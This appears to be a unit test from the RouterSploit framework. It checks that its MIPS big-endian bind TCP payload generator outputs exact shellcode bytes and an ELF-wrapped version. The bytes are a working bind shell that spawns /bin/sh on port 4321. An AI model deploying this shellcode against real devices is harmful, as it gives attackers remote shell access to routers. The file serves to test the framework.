from routersploit.modules.payloads.mipsbe.bind_tcp import Payload


# mipsbe bind tcp payload with rport=4321
bind_tcp = (
    b"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28"
    b"\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x30\x50"
    b"\xff\xff\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d\xff\xfd\x01"
    b"\xa0\x68\x27\x01\xcd\x68\x04\x24\x0e\x10\xe1\x01\xae\x68\x25"
    b"\xaf\xad\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff"
    b"\xec\x02\x10\x20\x25\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5"
    b"\xff\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x02\x10\x20\x25\x24"
    b"\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x02\x10\x20\x25"
    b"\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48\x01\x01\x01"
    b"\x0c\xaf\xa2\xff\xff\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4"
    b"\xff\xff\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24"
    b"\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff"
    b"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e"
    b"\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4"
    b"\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24"
    b"\x02\x0f\xab\x01\x01\x01\x0c"
)

# elf mipsbe bind tcp
elf_mipsbe_bind_tcp = (
    b"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
    b"\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00"
    b"\x00\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00"
    b"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00"
    b"\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x01\x3c\x00\x00\x02"
    b"\x24\x00\x00\x00\x07\x00\x00\x10\x00\x27\xbd\xff\xe0\x24\x0e"
    b"\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff\x24"
    b"\x02\x10\x57\x01\x01\x01\x0c\x30\x50\xff\xff\x24\x0e\xff\xef"
    b"\x01\xc0\x70\x27\x24\x0d\xff\xfd\x01\xa0\x68\x27\x01\xcd\x68"
    b"\x04\x24\x0e\x10\xe1\x01\xae\x68\x25\xaf\xad\xff\xe0\xaf\xa0"
    b"\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x02\x10\x20\x25\x24"
    b"\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49"
    b"\x01\x01\x01\x0c\x02\x10\x20\x25\x24\x05\x01\x01\x24\x02\x10"
    b"\x4e\x01\x01\x01\x0c\x02\x10\x20\x25\x28\x05\xff\xff\x28\x06"
    b"\xff\xff\x24\x02\x10\x48\x01\x01\x01\x0c\xaf\xa2\xff\xff\x24"
    b"\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff\x02\x20\x28\x21"
    b"\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x22\x31\xff"
    b"\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef"
    b"\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf"
    b"\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"
    b"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01"
    b"\x0c"
)


def test_payload_generation():
    """ Test scenario - payload generation """

    payload = Payload()
    payload.rport = 4321

    assert payload.generate() == bind_tcp
    assert payload.generate_elf(bind_tcp) == elf_mipsbe_bind_tcp